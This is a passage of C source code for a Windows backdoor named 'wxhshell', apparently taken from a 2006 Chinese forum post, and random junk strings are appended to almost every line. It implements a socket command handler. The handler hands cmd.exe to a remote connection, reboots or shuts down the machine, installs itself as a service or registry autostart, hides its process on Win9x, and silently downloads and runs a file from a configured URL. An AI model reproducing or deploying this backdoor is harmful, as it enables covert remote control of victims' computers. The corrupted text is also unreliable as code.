~oaVH.[e=  
    switch(cmd[0]) { gc(1,hv  
  fWLsk  
  // 帮助 d$Mj5wN:q  
  case '?': { zpa'G1v  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X\$M _b>O  
    break; Jg%sl& 65  
  } =`/X Wem  
  // 安装 eyo)Su  
  case 'i': { "@ox=  
    if(Install()) uCUBs(iD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _$Fi]l!f  
    else [;X YT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }1$8)zH  
    break; xds"n5  
    } r2xlcSn%  
  // 卸载 qi/%&)GZ  
  case 'r': { $G=\i>R.  
    if(Uninstall()) _abVX#5<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xr6Q5/p1  
    else 4wNxn lP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h eh! cDK  
    break; 7&sCEYEb  
    } 8 3<kaeu,^  
  // 显示 wxhshell 所在路径 33u7  
  case 'p': { QZwRg&d<o  
    char svExeFile[MAX_PATH]; }D=h"\_=  
    strcpy(svExeFile,"\n\r"); `Cb$8;)z  
      strcat(svExeFile,ExeFile); NZ.aI{  
        send(wsh,svExeFile,strlen(svExeFile),0); bF flA  
    break; {8"W  
    } !p9BH6$`  
  // 重启 s"Kp+tTWj  
  case 'b': { 7IIM8/BI  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _ l/6Qpf  
    if(Boot(REBOOT)) a%-Yl%#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )}6:Ke)  
    else { bxyU[`  
    closesocket(wsh); `rs1!ZJ,  
    ExitThread(0); tPp }/a%D  
    } +osY iP5  
    break; >#8`Zy:/Y  
    } 1 9)78kV{  
  // 关机 Q!|71{5U  
  case 'd': { ,p 'M@[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); S"_vD<q  
    if(Boot(SHUTDOWN)) r+Z+x{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 95(VY)_6#A  
    else { QeQbO  
    closesocket(wsh); X5<L  
    ExitThread(0); bqLv81V  
    } _ !Ph1  
    break; ]_-$  
    } &V2G <gm0  
  // 获取shell Z1OcGRN!  
  case 's': { s%/0WW0y^  
    CmdShell(wsh); ( /N`Wu  
    closesocket(wsh); ?9PNCd3$d  
    ExitThread(0); _c #P  
    break; &E9%8Q)r(  
  } l_kH^ET  
  // 退出 [Zua7&(5  
  case 'x': { 9PR&/Q F5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  x'  
    CloseIt(wsh); c76^x   
    break; [hiOFmMJZ-  
    } P0 89Mh9  
  // 离开 wYF)G;[wM  
  case 'q': { dk3\~m%Pv  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); dkVVvK  
    closesocket(wsh); L ~;_R*Th  
    WSACleanup(); v'iQLUgI  
    exit(1); T&0tW"r?  
    break; nF//y}  
        } =RV$8.Xp  
  } @lBH@HR=C  
  } %ZZ}TUI W  
t>b^S,  
  // 提示信息 {`}RYfZ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0 Q1}u@G  
} #p[=iP  
  } {wMCo ,  
\KPz  
  return;  T  
} , n EeI&  
\[8I5w-  
// shell模块句柄 %8$wod6  
int CmdShell(SOCKET sock) ?c43cYb  
{ >4ALF[oH1J  
STARTUPINFO si; ]9x30UXLwD  
ZeroMemory(&si,sizeof(si)); aH >.o 1;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 55[K[K  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vR`KRI`{  
PROCESS_INFORMATION ProcessInfo; MZ+"Arzb  
char cmdline[]="cmd"; T$q]iSgu  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $4eogI7N>w  
  return 0; xW^<.@Agm  
} oZzE.Q1T  
xAoozDj  
// 自身启动模式 )_&<u\cm L  
int StartFromService(void) &2Y>yFB ,  
{ ^y h  
typedef struct S ":-5S6  
{ K1C#  
  DWORD ExitStatus; >uUbWKn3  
  DWORD PebBaseAddress; W*_ifZ0s.  
  DWORD AffinityMask; #ob">R  
  DWORD BasePriority; jUfc&bi3  
  ULONG UniqueProcessId; >M +!i+  
  ULONG InheritedFromUniqueProcessId; (*M(gM{;  
}   PROCESS_BASIC_INFORMATION; 8,H  
 M,6AD]  
PROCNTQSIP NtQueryInformationProcess; QX8N p{g-  
.rMGI "  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ZBnf?fU  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [qb#>P2G3  
2R1W[,Ga!  
  HANDLE             hProcess; +-{H T+W  
  PROCESS_BASIC_INFORMATION pbi; K3@UoR  
t[DXG2&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ME7JU|@Z  
  if(NULL == hInst ) return 0; D)mqe-%1  
'7xY ,IY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .vb*|So  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Jl4zj>8~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pQqZ4L6v  
'8W }|aF  
  if (!NtQueryInformationProcess) return 0; _-h3>.;h9  
;=E3f^'s  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); KQ2]VN"?_  
  if(!hProcess) return 0; E.BMm/WH  
3)`}#`T  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  %RJW@~!  
6ZF5f^M^  
  CloseHandle(hProcess); <CH7jbK  
L1J"_.=P  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); LUCpZ3F1  
if(hProcess==NULL) return 0; :0vNg:u+  
. Bv;Zv  
HMODULE hMod; jgC/  
char procName[255]; |w:\fK[  
unsigned long cbNeeded; ho0T$hB  
)v'DQAL  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >uI|S  
Kj}}O2  
  CloseHandle(hProcess); 3 8f9jF%7j  
dM$]OAT  
if(strstr(procName,"services")) return 1; // 以服务启动 /*8"S mte  
"V^(i%E;  
  return 0; // 注册表启动 'g$|:bw/  
} V862(y  
\BS^="AcpP  
// 主模块 0lW}l9}'-  
int StartWxhshell(LPSTR lpCmdLine) .lj\ H  
{ 0t<TZa]V  
  SOCKET wsl; V-)q&cbW]q  
BOOL val=TRUE; iHR?]]RF  
  int port=0; ~s !+9\Fi  
  struct sockaddr_in door; \=nY&Ml  
]xFd_OHdb  
  if(wscfg.ws_autoins) Install(); @(ev``L5g  
4|*_mC  
port=atoi(lpCmdLine); A}W&=m8!  
xKIm2% U9  
if(port<=0) port=wscfg.ws_port; F*(<`V  
m'a3}vRV(  
  WSADATA data; TMq\}k-I5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \N!k)6\  
*P9)M%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   F9Mv$ g79  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &%FpNU9  
  door.sin_family = AF_INET; E5Z,4B  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); IV!&jL  
  door.sin_port = htons(port); Pxl7zz&pl=  
>7 4'g }  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r`mfLA]d  
closesocket(wsl); x! Z|^q  
return 1; 6o {41@v(  
} _,~/KJp  
MQLa+I,S4  
  if(listen(wsl,2) == INVALID_SOCKET) { 3'IF? ](]U  
closesocket(wsl); XN??^1{J}]  
return 1; gzi~ BJ  
} \-c70v63X  
  Wxhshell(wsl); Azu$F5G!n  
  WSACleanup(); ^e)KEkh  
R ]HHbD&;  
return 0; & [4Gv61  
,US]  
} 0f1*#8-6  
XlR.Y~  
// 以NT服务方式启动 BQ &|=a6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;}1*M !  
{ # bP1rQ0  
DWORD   status = 0; mpN|U(n  
  DWORD   specificError = 0xfffffff; ;CFI*Wfp  
>P/.X^G0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; O?rVa:\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; P!1y@R>Ln  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jsH7EhF{'  
  serviceStatus.dwWin32ExitCode     = 0; ]B\H  
  serviceStatus.dwServiceSpecificExitCode = 0; 7H9&\ur9+  
  serviceStatus.dwCheckPoint       = 0; "1WwSh}Z  
  serviceStatus.dwWaitHint       = 0; /tDwgxJ  
MejM(o_kk  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); OZDnU6  
  if (hServiceStatusHandle==0) return; e=Kf<ZQt  
sBB>O@4  
status = GetLastError(); FG'F]f c%  
  if (status!=NO_ERROR) r +d%*Dx  
{ .kyp5CD}4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 'IKV%$k  
    serviceStatus.dwCheckPoint       = 0; "0pu_  
    serviceStatus.dwWaitHint       = 0; IL*C/y  
    serviceStatus.dwWin32ExitCode     = status; "Lw[ $  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~X)Aw 3}F  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #]cO] I  
    return; M qFuZg  
  } w+z~Mz}Vz  
!S$LRm\ '  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <"X\~  
  serviceStatus.dwCheckPoint       = 0; 7c5+8k3  
  serviceStatus.dwWaitHint       = 0; Hq ]f$Q6:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .\".}4qQ  
} T}M!A|   
=0 mf  
// 处理NT服务事件,比如:启动、停止 Am{Vtl)i  
VOID WINAPI NTServiceHandler(DWORD fdwControl) nj]l'~Y0  
{ LJ\uRfs  
switch(fdwControl) p gW BW9\  
{ { ZrIA+eH  
case SERVICE_CONTROL_STOP: zU}Ru&T9  
  serviceStatus.dwWin32ExitCode = 0; 8t25wPlx  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )E;B'^RVR  
  serviceStatus.dwCheckPoint   = 0; U\s.fIr  
  serviceStatus.dwWaitHint     = 0; F^fL  
  { lhZXq!2p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >;:235'(M  
  } 7A<X!a  
  return; XOe)tz L  
case SERVICE_CONTROL_PAUSE: 4"at~K` Q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Py_yIwQqg  
  break; `O/1aW1  
case SERVICE_CONTROL_CONTINUE: RoS&oGYqR  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $3psSQQo  
  break; 8eGq.+5G  
case SERVICE_CONTROL_INTERROGATE: r01Z 0>  
  break; ae_Y?g+3  
}; R6eKI,y\"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NGIt~"e7R4  
} `n)e] dn  
vgKZr  
// 标准应用程序主函数 Gl; xd  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =r:(ga  
{ HQGn[7JW  
A6eIf  
// 获取操作系统版本 O*jTrZ(k  
OsIsNt=GetOsVer(); ( y0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); rr~O6Db  
5 6w6=Is  
  // 从命令行安装 N hG?@N  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8vR Q_  
||yx?q6\h  
  // 下载执行文件 57@6O-t-  
if(wscfg.ws_downexe) { %wil'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w>S;}[fM  
  WinExec(wscfg.ws_filenam,SW_HIDE); UZvF5Hoe+O  
} vJI]ZnL{  
?gYQE&M !  
if(!OsIsNt) { *62Cf[a  
// 如果时win9x,隐藏进程并且设置为注册表启动 = j)5kY`  
HideProc(); [/E|n[Bx  
StartWxhshell(lpCmdLine); \D6 7J239E  
} _Fe%Ek1Yy  
else bbNN$-S|  
  if(StartFromService()) 1z IX $A  
  // 以服务方式启动 )IBvm1  
  StartServiceCtrlDispatcher(DispatchTable); -A1@a= q  
else aN UU' [  
  // 普通方式启动 8/gA]I 6=#  
  StartWxhshell(lpCmdLine); AdU0 sZ+&c  
_"l2UDx  
return 0; f^Io:V\  
}
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只看该作者 1 发表于: 2006-10-10
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